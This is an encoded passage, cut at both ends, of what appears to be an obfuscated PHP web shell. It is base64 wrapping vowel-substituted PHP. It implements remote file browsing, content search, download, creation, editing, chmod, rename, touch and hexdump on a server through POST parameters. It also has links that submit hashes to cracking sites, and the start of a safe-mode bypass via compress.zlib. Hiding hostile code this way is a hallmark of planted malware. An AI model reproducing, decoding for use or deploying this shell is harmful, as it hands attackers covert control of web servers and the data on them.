ZihzM2JzdHIoJHAxdGgsIC02KSAhPSAnLycpDQogICAgICAgICAgICAgICAgICAgICAgICAkcDF0aC49Jy8nOw0KICAgICAgICAgICAgICAgICRwMXRocyA9IEAxcnIxeV8zbjRxMzUoQDFycjF5X201cmc1KEBnbDJiKCRwMXRoLiRfUE9TVFsncG8nXSksIEBnbDJiKCRwMXRoLicqJywgR0xPQl9PTkxZRElSKSkpOw0KICAgICAgICAgICAgICAgIDRmKDRzXzFycjF5KCRwMXRocykmJkBjMjNudCgkcDF0aHMpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRwMXRocyAxcyAkNHQ1bSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihANHNfZDRyKCQ0dDVtKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHAxdGghPSQ0dDVtKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQk9GRlI1YzNyczR2NUdsMmIoJDR0NW0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKEBzdHJwMnMoQGY0bDVfZzV0X2MybnQ1bnRzKCQ0dDVtKSwgQCRfUE9TVFsncGEnXSkhPT1mMWxzNSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsbjNsbCxcIiIuM3JsNW5jMmQ1KCQ0dDVtKS4iXCIsIFwidjQ1d1wiKSc+Ii5odG1sc3A1YzQxbGNoMXJzKCQ0dDVtKS4iPC8xPjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIDRmKEAkX1BPU1RbJ3BvJ10pDQogICAgICAgICAgICAgICAgQk9GRlI1YzNyczR2NUdsMmIoJF9QT1NUWydjJ10pOw0KICAgICAgICA1Y2gyICI8L2Q0dj48YnI+PGg2PiYjb2k4ODsmI29laTc7JiNvZTA5OyYjb2VhNzsmI29lb3U7JiNvZWE5OyYjb2V1MDsmI29lNjY7JiNvaThpOyYjb2U2OTsmI29lMG87JiNvZWUwOyYjb2k5dTsmI29laWU7JiNvZWFvOyYjb2U2ODs6PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQogICAgICAgICAgICAgICAgPGYycm0gbTV0aDJkPSdwMnN0JyB0MXJnNXQ9J19ibDFuaycgbjFtNT0naGYnPg0KICAgICAgICAgICAgICAgICAgICAgICAgPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2gxc2gnIHN0eWw1PSd3NGR0aDphMDBweDsnPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdoMXNoY3IxY2suYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vd3d3Lmgxc2hjcjFjay5jMm0vNG5kNXgucGhwJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdtNGx3MHJtLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5tNGx3MHJtLmMybS9jcjFjazVyL3M1MXJjaC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J2gxc2hjcjFjazRuZy40bmYyJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwczovL2gxc2hjcjFjazRuZy40bmYyLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICA8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbWRpLnI1ZG4yNHo1LmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL21kaS5yNWRuMjR6NS5jMm0vP3E9JytkMmMzbTVudC5oZi5oMXNoLnYxbDM1Kycmcz1tZGknO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J21kaWQ1Y3J5cHQ1ci5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly93d3cubWRpZDVjcnlwdDVyLmMybS8nO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KICAgICAgICAgICAgICAgIDwvZjJybT48L2Q0dj4iOw0KICAgICAgICBCT0ZGRjIydDVyKCk7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5GNGw1c1QyMmxzKCkgew0KICAgICAgICA0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApDQogICAgICAgICAgICAgICAgJF9QT1NUWydwNiddID0gM3JsZDVjMmQ1KCRfUE9TVFsncDYnXSk7DQogICAgICAgIDRmKEAkX1BPU1RbJ3BhJ109PSdkMndubDIxZCcpIHsNCiAgICAgICAgICAgICAgICA0ZihANHNfZjRsNSgkX1BPU1RbJ3A2J10pICYmIEA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAyYl9zdDFydCgiMmJfZ3poMW5kbDVyIiwgdTA5ZSk7DQogICAgICAgICAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PSIuYjFzNW4xbTUoJF9QT1NUWydwNiddKSk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCJtNG01X2MybnQ1bnRfdHlwNSIpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0eXA1ID0gQG00bTVfYzJudDVudF90eXA1KCRfUE9TVFsncDYnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1UeXA1OiAiIC4gJHR5cDUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1DQogICAgICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LVR5cDU6IDFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbSIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgInIiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSghQGY1MmYoJGZwKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyIEBmcjUxZCgkZnAsIDYwYXUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2wyczUoJGZwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9NXg0dDsNCiAgICAgICAgfQ0KICAgICAgICA0ZiggQCRfUE9TVFsncGEnXSA9PSAnbWtmNGw1JyApIHsNCiAgICAgICAgICAgICAgICA0ZighZjRsNV81eDRzdHMoJF9QT1NUWydwNiddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3cnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BhJ10gPSAiNWQ0dCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBCT0ZGSDUxZDVyKCk7DQogICAgICAgIDVjaDIgJzxoNj4mI29laWE7JiNvZTZpOyYjb2VhNjsmI29lZTA7JiNvZXU4OyYjb2k4ODsmI29lNjk7JiNvZW85OyYjb2VpZTsmI29lYTk7JiNvaTk2OyYjb2U2NzsmI29lbzk7JiNvZWE5OzwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQogICAgICAgIDRmKCAhZjRsNV81eDRzdHMoQCRfUE9TVFsncDYnXSkgKSB7DQogICAgICAgICAgICAgICAgNWNoMiAnJiNvZWlhOyYjb2U2NzsmI29laWU7JiNvZTY3OyYjb2VvNzsmI29laWE7JiNvZTZpOyYjb2VhNjsmI29lZTA7JiNvZTA5OyYjb2VvNzsmI29laTc7JiNvZWE5OyYjb2U2ODsmI29ldTY7JiNvZWllOyAhJzsNCiAgICAgICAgICAgICAgICBCT0ZGRjIydDVyKCk7DQogICAgICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICB9DQogICAgICAgICQzNGQgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkX1BPU1RbJ3A2J10pKTsNCiAgICAgICAgNGYoISQzNGQpIHsNCiAgICAgICAgICAgICAgICAkMzRkWyduMW01J10gPSBAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSk7DQogICAgICAgICAgICAgICAgJGc0ZFsnbjFtNSddID0gQGY0bDVncjIzcCgkX1BPU1RbJ3A2J10pOw0KICAgICAgICB9IDVsczUgJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSkpOw0KICAgICAgICA1Y2gyICc8c3Axbj4mI29pOXU7JiNvZW85OyYjb2VpZTsmI29lYTk7Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKEBiMXM1bjFtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPiYjb2k4ZTsmI29lMDk7JiNvZW91OyYjb2UwdTs6PC9zcDFuPiAnLig0c19mNGw1KCRfUE9TVFsncDYnXSk/Qk9GRlY0NXdTNHo1KGY0bDVzNHo1KCRfUE9TVFsncDYnXSkpOictJykuJyA8c3Axbj4mI29lYWU7JiNvZW9lOyYjb2UwNzsmI29lMDg7JiNvZW9lOyYjb2k4aTsmI29lb3U7JiNvZTY5OyYjb2VpNjsmI29pOXU7JiNvZWk3OyYjb2k5NjsmI29lb3U7JiNvZTA5Ozo8L3NwMW4+ICcuQk9GRlA1cm1zQzJsMnIoJF9QT1NUWydwNiddKS4nIDxzcDFuPiYjb2k4aTsmI29lYTY7JiNvZXUwOyYjb2VpZTsmI29lNjc7Ojwvc3Axbj4gJy4kMzRkWyduMW01J10uJy8nLiRnNGRbJ24xbTUnXS4nPGJyPic7DQogICAgICAgIDVjaDIgJzxzcDFuPiYjb2VhZTsmI29lNjk7JiNvZWk3OyYjb2VvdTsmI29pOTY7JiNvZXU4OyYjb2U2NzsmI29lbzk7JiNvZWllOyYjb2VhOTs6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1Y3Q0bTUoJF9QT1NUWydwNiddKSkuJyA8c3Axbj4mI29ldTg7JiNvZWFvOyYjb2VhNjsmI29lb3U7Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNTF0NG01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+JiNvZXU4OyYjb2VhbzsmI29lYTY7JiNvZW91OyYjb2V1OTsmI29pOGk7JiNvZWk3OyYjb2VpYTsmI29pOGU7Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLic8YnI+PGJyPic7DQogICAgICAgIDRmKCA1bXB0eSgkX1BPU1RbJ3BhJ10pICkNCiAgICAgICAgICAgICAgICAkX1BPU1RbJ3BhJ10gPSAndjQ1dyc7DQogICAgICAgIDRmKCA0c19mNGw1KCRfUE9TVFsncDYnXSkgKQ0KICAgICAgICAgICAgICAgICRtID0gMXJyMXkoJ1Y0NXcnLCAnSDRnaGw0Z2h0JywgJ0Qyd25sMjFkJywgJ0g1eGQzbXAnLCAnRWQ0dCcsICdDaG0yZCcsICdSNW4xbTUnLCAnVDIzY2gnKTsNCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICRtID0gMXJyMXkoJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KICAgICAgICBmMnI1MWNoKCRtIDFzICR2KQ0KICAgICAgICAgICAgICAgIDVjaDIgJzwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnJy5zdHJ0MmwydzVyKCR2KS4nXCcpIj4nLigoc3RydDJsMnc1cigkdik9PUAkX1BPU1RbJ3BhJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8LzE+ICc7DQogICAgICAgIDVjaDIgJzxicj48YnI+JzsNCiAgICAgICAgc3c0dGNoKCRfUE9TVFsncGEnXSkgew0KICAgICAgICAgICAgICAgIGMxczUgJ3Y0NXcnOg0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHByNSBjbDFzcz1tbDY+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICdyJyk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUoICFAZjUyZigkZnApICkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoQGZyNTFkKCRmcCwgNjBhdSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZmNsMnM1KCRmcCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8L3ByNT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAnaDRnaGw0Z2h0JzoNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPGQ0diBjbDFzcz1tbDYgc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6ICM1NjU2NTY7YzJsMnI6YmwxY2s7Ij4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYzJkNSA9IEBoNGdobDRnaHRfZjRsNSgkX1BPU1RbJ3A2J10sdHIzNSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgc3RyX3I1cGwxYzUoMXJyMXkoJzxzcDFuICcsJzwvc3Axbj4nKSwgMXJyMXkoJzxmMm50ICcsJzwvZjJudD4nKSwkYzJkNSkuJzwvZDR2Pic7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICdjaG0yZCc6DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwNXJtcyA9IDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycigkND1zdHJsNW4oJF9QT1NUWydwbyddKS02OyQ0Pj0wOy0tJDQpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHA1cm1zICs9ICg0bnQpJF9QT1NUWydwbyddWyQ0XSpwMncoOCwgKHN0cmw1bigkX1BPU1RbJ3BvJ10pLSQ0LTYpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoIUBjaG0yZCgkX1BPU1RbJ3A2J10sICRwNXJtcykpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnJiNvZWlhOyYjb2U2NzsmI29laWU7JiNvZWFlOyYjb2VvdTsmI29lNjc7JiNvZW91OyYjb2U2OTsmI29lMGU7JiNvaThpOyYjb2VvaTsmI29lYTc7JiNvZTA5OyYjb2UwdTsmI29pODg7JiNvZWllOyYjb2VvdTsmI29lYWU7JiNvZW9lOyYjb2UwNzsmI29lMDg7JiNvZW9lOyYjb2k4aTsmI29lb3U7JiNvZTY5OyYjb2VpNjsmI29pOXU7JiNvZWk3OyYjb2k5NjsmI29lb3U7JiNvZTA5OyYjb2VpYTsmI29lMHU7JiNvZWk3OyAhPGJyPjxzY3I0cHQ+ZDJjM201bnQubWYucG8udjFsMzU9IiI7PC9zY3I0cHQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGNsNTFyc3QxdGMxY2g1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMuY2htMmQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jaG0yZCB2MWwzNT0iJy5zM2JzdHIoc3ByNG50ZignJTInLCBmNGw1cDVybXMoJF9QT1NUWydwNiddKSksLXUpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAnNWQ0dCc6DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiggITRzX3dyNHQxYmw1KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnJiNvZWlhOyYjb2U2NzsmI29laWU7JiNvZWFlOyYjb2VvdTsmI29lNjc7JiNvZW91OyYjb2U2OTsmI29lMGU7JiNvZXU4OyYjb2k4ZTsmI29lbzc7JiNvZTY4OyYjb2UwOTsmI29laWE7JiNvZTZpOyYjb2VhNjsmI29lZTA7JiNvZWlhOyYjb2UwdTsmI29laTc7ICEnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHQ0bTUgPSBAZjRsNW10NG01KCRfUE9TVFsncDYnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncG8nXSA9IHMzYnN0cigkX1BPU1RbJ3BvJ10sNik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sInciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZ3cjR0NSgkZnAsJF9QT1NUWydwbyddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZmNsMnM1KCRmcCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnUzF2NWQhPGJyPjxzY3I0cHQ+cG9fPSIiOzwvc2NyNHB0Pic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsXCc2XCcrdGg0cy50NXh0LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT10NXh0IGNsMXNzPWI0ZzFyNTE+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICdyJyk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUoICFAZjUyZigkZnApICkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoQGZyNTFkKCRmcCwgNjBhdSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZmNsMnM1KCRmcCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAnaDV4ZDNtcCc6DQogICAgICAgICAgICAgICAgICAgICAgICAkYyA9IEBmNGw1X2c1dF9jMm50NW50cygkX1BPU1RbJ3A2J10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGggPSAxcnIxeSgnMDAwMDAwMDA8YnI+JywnJywnJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAkbDVuID0gc3RybDVuKCRjKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGYyciAoJDQ9MDsgJDQ8JGw1bjsgKyskNCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaFs2XSAuPSBzcHI0bnRmKCclMGFYJywycmQoJGNbJDRdKSkuJyAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdzR0Y2ggKCAycmQoJGNbJDRdKSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMXM1IDA6ICAkaFthXSAuPSAnICc7IGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgOTogICRoW2FdIC49ICcgJzsgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSA2MDogJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMXM1IDZvOiAkaFthXSAuPSAnICc7IGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQ1ZjEzbHQ6ICRoW2FdIC49ICRjWyQ0XTsgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG4rKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCRuID09IG9hKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmICgkNCs2IDwgJGw1bikgeyRoWzBdIC49IHNwcjRudGYoJyUwOFgnLCQ0KzYpLic8YnI+Jzt9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhbNl0gLj0gJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoW2FdIC49ICJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0MWJsNSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWkgYmdjMmwycj0jYWFhYWFhPjx0cj48dGQgYmdjMmwycj0jb29vb29vPjxzcDFuIHN0eWw1PSJmMm50LXc1NGdodDogbjJybTFsOyI+PHByNT4nLiRoWzBdLic8L3ByNT48L3NwMW4+PC90ZD48dGQgYmdjMmwycj0jYThhOGE4PjxwcjU+Jy4kaFs2XS4nPC9wcjU+PC90ZD48dGQgYmdjMmwycj0jb29vb29vPjxwcjU+Jy5odG1sc3A1YzQxbGNoMXJzKCRoW2FdKS4nPC9wcjU+PC90ZD48L3RyPjwvdDFibDU+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgJ3I1bjFtNSc6DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCFAcjVuMW01KCRfUE9TVFsncDYnXSwgJF9QT1NUWydwbyddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICdDMW5cJ3QgcjVuMW01ITxicj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZDQ1KCc8c2NyNHB0PmcobjNsbCxuM2xsLCInLjNybDVuYzJkNSgkX1BPU1RbJ3BvJ10pLiciLG4zbGwsIiIpPC9zY3I0cHQ+Jyk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMubjFtNS52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PDRucDN0IHR5cDU9dDV4dCBuMW01PW4xbTUgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAndDIzY2gnOg0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdDRtNSA9IHN0cnQydDRtNSgkX1BPU1RbJ3BvJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkdDRtNSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCF0MjNjaCgkX1BPU1RbJ3A2J10sJHQ0bTUsJHQ0bTUpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnJiNvZTZhOyYjb2VvZTsmI29lMHU7JiNvZTZ1OyYjb2VhNjsmI29lb3U7JiNvZTB1OyAhJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICcmI29ldTg7JiNvaThlOyYjb2VpNzsmI29lb3U7JiNvZTBlOyYjb2VvODsmI29pOTY7ICEnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUgNWNoMiAnJiNvZWE2OyYjb2VpNzsmI29lNjc7JiNvZXU4OyYjb2VhNzsmI29lYTY7JiNvZWFvOyAhJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGNsNTFyc3QxdGMxY2g1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICA1Y2gyICc8L2Q0dj4nOw0KICAgICAgICBCT0ZGRjIydDVyKCk7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5TMWY1TTJkNSgpIHsNCiAgICAgICAgJHQ1bXA9Jyc7DQogICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgIHN3NHRjaCgkX1BPU1RbJ3A2J10pIHsNCiAgICAgICAgICAgICAgICBjMXM1IDY6DQogICAgICAgICAgICAgICAgICAgICAgICAkdDVtcD1AdDVtcG4xbSgkdDVzdCwgJ2N4Jyk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZihAYzJweSgiYzJtcHI1c3Muemw0YjovLyIuJF9QT1NUWydwYSddLCAkdDVtcCkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyIEBmNGw1X2c1dF9jM